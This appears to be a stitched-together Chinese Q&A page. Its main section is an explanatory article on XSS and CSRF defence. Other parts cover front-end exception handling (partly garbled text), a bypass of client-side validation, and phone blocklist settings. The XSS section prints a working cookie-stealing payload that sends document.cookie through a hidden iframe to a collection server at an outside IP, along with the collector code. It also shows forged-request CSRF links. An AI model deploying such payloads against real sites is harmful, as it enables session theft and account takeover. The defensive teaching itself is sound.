A. 前端安全方面有没有了解xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 sql 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的方法处理,简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
http://example.com/bbs/create_post.php?title=标题&content=内容
那么,我只需要在论坛中发一帖,包含一链接:
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“无耻”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。
B. javaWeb如何写拦截器过滤前端所有请求中的数据
页面时JSP页面吧,从数据库中读取的数据应该是分页显示出来的如果你的页面的数据记录的条数是pageSize个 JSP页面:for(int i=0;i<pageSize;i++){ <input type=checkbox name=<%=i %> value=<%=id %>>记录内容 // 循环显示每条记录并加入复选框,id是表的主码 }点击删除按钮后进入一个Servlet控制器String id=null;for(int i=0;i<pageSize;i++){ id=request.getParameter(i+""); if(id!=null){ 删除记录方法(String id); }}在model中再写一个根据ID删除记录的类.方法就OK了 很好写 我就不写了
C. Web前端工程师如何处理Web前端的异常_
今天小编要跟大家分享的文章是关于Web前端工程师如何处理前端的异常。前端一直是距离用户最近的一层,随着产品的日益完善,我们会更加注重用户体验,而前端异常却如鲠在喉,甚是烦人。下面我们就来看一看前端工程师该如何处理前端异常。一、为什么要处理异常异常是不可控的,会影响最终的呈现结果,但是我们有充分的理由去做这样的事情。
1.增强用户体验;
2.远程定位问题;
3.未雨绸缪,及早发现问题;
4.无法复线问题,尤其是移动端,机型,系统都是问题;
5.完善的前端方案,前端监控系统;
对于JS而言,我们面对的仅仅只是异常,异常的出现不会直接导致JS引擎崩溃,最多只会使当前执行的任务终止。二、需要处理哪些异常?对于前端来说,我们可做的异常捕获还真不少。总结一下,大概如下:
·___S语法错误、代码异常
·___JAX请求异常
·___蔡试醇釉匾斐
·___romise异常
·___frame异常
·___缬_cripterror
·___览:涂ǘ
下面我会针对每种具体情况来说明如何处理这些异常。三、Try-Catch的误区try-catch只能捕获到同步的运行时错误,对语法和异步错误却无能为力,捕获不到。
1.同步运行时错误:
try{
letname='jartto'
console.log(nam);
}catch(e){
console.log('捕获到异常:',e);
}
输出:
捕获到异常:ReferenceError:namisnotdefined
at:3:15
2.不能捕获到语法错误,我们修改一下代码,删掉一个单引号:
try{
letname='jartto;
console.log(nam);
}catch(e){
console.log('捕获到异常:',e);
}
输出:
UncaughtSyntaxError:Invalidorunexpectedtoken
不过语法错误在我们开发阶段就可以看到,应该不会顺利上到线上环境。
3.异步错误
try{
setTimeout(()=>{
undefined.map(v=>v);
},1000)
}catch(e){
console.log('捕获到异常:',e);
}
我们看看日志:
UncaughtTypeError:Cannotreadproperty'map'of
undefined
atsetTimeout(:3:11)
并没有捕获到异常,这是需要我们特别注意的地方。四、window.onerror不是万能的当JS运行时错误发生时,window会触发一个ErrorEvent接口的error事件,并执行window.onerror()。/**
*@param{String}message错误信息
*@param{String}source出错文件
*@param{Number}lineno行号
*@param{Number}colno列号
*@param{Object}errorError对象(对象)
*/
window.onerror=function(message,source,lineno,colno,error){
console.log('捕获到异常:',{message,source,lineno,colno,error});
}
1.首先试试同步运行时错误
window.onerror=function(message,source,lineno,colno,
error){
//message:错误信息(字符串)。
//source:发生错误的脚本URL(字符串)
//lineno:发生错误的行号(数字)
//colno:发生错误的列号(数字)
//error:Error对象(对象)
console.log('捕获到异常:',{message,source,lineno,colno,
error});
}
Jartto;
可以看到,我们捕获到了异常:
2.再试试语法错误呢?
window.onerror=function(message,source,lineno,colno,
error){
console.log('捕获到异常:',{message,source,lineno,colno,error});
}
letname='Jartto
控制台打印出了这样的异常:
UncaughtSyntaxError:Invalidorunexpectedtoken
什么,竟然没有捕获到语法错误?
3.怀着忐忑的心,我们最后来试试异步运行时错误:
window.onerror=function(message,source,lineno,colno,
error){
console.log('捕获到异常:',{message,source,lineno,colno,error});
}
setTimeout(()=>{
Jartto;
});
控制台输出了:
捕获到异常:{message:"Uncaught
ReferenceError:Jarttoisnotdefined",source:
"http://127.0.0.1:8001/",lineno:36,colno:5,error:
ReferenceError:Jarttoisnotdefined
atsetTimeout(http://127.0.0.1:8001/:36:5)}
4.接着,我们试试网络请求异常的情况:
我们发现,不论是静态资源异常,或者接口异常,错误都无法捕获到。
补充一点:window.onerror函数只有在返回true的时候,异常才不会向上抛出,否则即使是知道异常的发生控制台还是会显示UncaughtError:xxxxx
window.onerror=function(message,source,lineno,colno,
error){
console.log('捕获到异常:',{message,source,lineno,colno,error});
returntrue;
}
setTimeout(()=>{
Jartto;
});
控制台就不会再有这样的错误了:
UncaughtReferenceError:Jarttoisnotdefined
atsetTimeout((index):36)
需要注意:onerror最好写在所有JS脚本的前面,否则有可能捕获不到错误;onerror无法捕获语法错误;
到这里基本就清晰了:在实际的使用过程中,onerror主要是来捕获预料之外的错误,而try-catch则是用来在可预见情况下监控特定的错误,两者结合使用更加高效。
问题又来了,捕获不到静态资源加载异常怎么办?五、window.addEventListener当一项资源(如图片或脚本)加载失败,加载资源的元素会触发一个Event接口的error事件,并执行该元素上的onerror()处理函数。这些error事件不会向上冒泡到window,不过(至少在Firefox中)能被单一的window.addEventListener捕获。
window.addEventListener('error',(error)=>{
console.log('捕获到异常:',error);
},true)
控制台输出:
SHAPE*MERGEFORMAT
由于网络请求异常不会事件冒泡,因此必须在捕获阶段将其捕捉到才行,但是这种方式虽然可以捕捉到网络请求的异常,但是无法判断HTTP的状态是404还是其他比如500等等,所以还需要配合服务端日志才进行排查分析才可以。
需要注意:
·___煌榔飨路祷氐_rror对象可能不同,需要注意兼容处理。
·___枰⒁獗苊_ddEventListener重复监听。六、PromiseCatch在promise中使用catch可以非常方便的捕获到异步error,这个很简单。
没有写catch的Promise中抛出的错误无法被onerror或try-catch捕获到,所以我们务必要在Promise中不要忘记写catch处理抛出的异常。
解决方案:为了防止有漏掉的Promise异常,建议在全局增加一个对unhandledrejection的监听,用来全局监听UncaughtPromiseError。使用方式:
window.addEventListener("unhandledrejection",
function(e){
console.log(e);
});
我们继续来尝试一下:
window.addEventListener("unhandledrejection",
function(e){
e.preventDefault()
console.log('捕获到异常:',e);
returntrue;
});
Promise.reject('promiseerror');
可以看到如下输出:
那如果对Promise不进行catch呢?
window.addEventListener("unhandledrejection",
function(e){
e.preventDefault()
console.log('捕获到异常:',e);
returntrue;
});
ewPromise((resolve,reject)=>{
reject('jartto:promiseerror');
});
嗯,事实证明,也是会被正常捕获到的。
所以,正如我们上面所说,为了防止有漏掉的Promise异常,建议在全局增加一个对unhandledrejection的监听,用来全局监听UncaughtPromiseError。
补充一点:如果去掉控制台的异常显示,需要加上:
event.preventDefault();七、VUEerrorHandlerVue.config.errorHandler=(err,vm,info)=>{
console.error('通过vue
errorHandler捕获的错误');
console.error(err);
console.error(vm);
console.error(info);
}八、React异常捕获React16提供了一个内置函数componentDidCatch,使用它可以非常简单的获取到react下的错误信息
componentDidCatch(error,info){
console.log(error,info);
}
除此之外,我们可以了解一下:errorboundaryUI的某部分引起的JS错误不应该破坏整个程序,为了帮React的使用者解决这个问题,React16介绍了一种关于错误边界(errorboundary)的新观念。
需要注意的是:errorboundaries并不会捕捉下面这些错误。
1.事件处理器2.异步代码3.服务端的渲染代码4.在errorboundaries区域内的错误
我们来举一个小例子,在下面这个componentDIdCatch(error,info)里的类会变成一个errorboundary:
.Component{
constructor(props){
super(props);
this.state={hasError:false};
}
componentDidCatch(error,info){
//DisplayfallbackUI
this.setState({hasError:true});
//
logErrorToMyService(error,info);
}
render(){
if(this.state.hasError){
//
returnSomethingwentwrong.
;
}
returnthis.props.children;
}
}
然后我们像使用普通组件那样使用它:
componentDidCatch()方法像JS的catch{}模块一样工作,但是对于组件,只有class类型的组件(classcomponent)可以成为一个errorboundaries。
实际上,大多数情况下我们可以在整个程序中定义一个errorboundary组件,之后就可以一直使用它了!九、iframe异常对于iframe的异常捕获,我们还得借力window.onerror:
window.onerror=function(message,source,lineno,colno,
error){
console.log('捕获到异常:',{message,source,lineno,colno,error});
}
一个简单的例子可能如下:
frameborder="0">
十、Scripterror一般情况,如果出现Scripterror这样的错误,基本上可以确定是出现了跨域问题。这时候,是不会有其他太多辅助信息的,但是解决思路无非如下:
跨源资源共享机制(CORS):我们为script标签添加crossOrigin属性。
或者动态去添加js脚本:
constscript=document.createElement('script');
script.crossOrigin='anonymous'
script.src=url;
document.body.appendChild(script);
特别注意,服务器端需要设置:Access-Control-Allow-Origin
此外,我们也可以试试这个-解决ScriptError的另类思路:
constoriginAddEventListener=EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener=function(type,listener,options){
constwrappedListener=function(...args){
try{
returnlistener.apply(this,args);
}
catch(err){
throwerr;
}
}
returnoriginAddEventListener.call(this,type,wrappedListener,options);
}
简单解释一下:
·___男戳_ventTarget的addEventListener方法;
·___源氲_istener进行包装,返回包装过的listener,对其执行进行try-catch;
·___榔鞑换岫_ry-catch起来的异常进行跨域拦截,所以catch到的时候,是有堆栈信息的;
·___匦_hrow出来异常的时候,执行的是同域代码,所以window.onerror捕获的时候不会丢失堆栈信息;
利用包装addEventListener,我们还可以达到“扩展堆栈”的效果:
(()=>{
constoriginAddEventListener=EventTarget.prototype.addEventListener;
EventTarget.prototype.addEventListener=function(type,listener,options){
+//捕获添加事件时的堆栈
+constaddStack=newError(`Event(${type})`).stack;
constwrappedListener=function(...args){
try{
returnlistener.apply(this,args);
}
catch(err){
+//异常发生时,扩展堆栈
+err.stack+='
'+addStack;
throwerr;
}
}
returnoriginAddEventListener.call(this,type,wrappedListener,options);
}
})();十一、崩溃和卡顿卡顿也就是网页暂时响应比较慢,JS可能无法及时执行。但崩溃就不一样了,网页都崩溃了,JS都不运行了,还有什么办法可以监控网页的崩溃,并将网页崩溃上报呢?
崩溃和卡顿也是不可忽视的,也许会导致你的用户流失。
1.利用window对象的load和beforeunload事件实现了网页崩溃的监控。不错的文章,推荐阅读:Logging
InformationonBrowserCrashes。window.addEventListener('load',function(){
sessionSt
D. 怎么设置删除的时候,只是前端删除,数据库不变
那你就做一个删除的标志字段就行了,1就是删除了,0就是没删除
E. 中国联通推出的手机管家如何设置防骚扰拦截白名单
答:1、进入公众号点击手机管家-手动添加电话黑名单-添加白名单设置进入白名单设置页
2、点击添加后在弹出的框中输入手机号,并添加备注名称
3、在白名单设置页可以看到刚添加的手机号
4、点击删除可以将添加的手机号删除
5、点击全选可以批量删除
F. java servlet里的过滤器把我前端页面导入的css 和 js路径都给拦截了
你怎么写的?
G. 如何跳过前端JavaScript的验证
要想绕过js验证,需要利用第三方插件:
1、安装好FireBug插件,然后,用快捷键F12,就会弹出FireBug窗口
3、然后按着上面步骤操作,把红框里的代码:
javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions(“Button1″, “”, true, “1”, “”, false, false))
删除掉,然后点击提交按钮。这样就可以提交了。
H. 中国联通手机管家怎么设置骚扰拦截黑名单
答:1.进入公众号点击手机管家-手动添加电话黑名单设置进入黑名单设置页
2.点击添加后在弹出的框中输入手机号,骚扰类型点击确定保存
3.在黑名单设置页可以看到刚添加的手机号
4.点击删除可以将添加的手机号删除
5.点击全选可以批量删除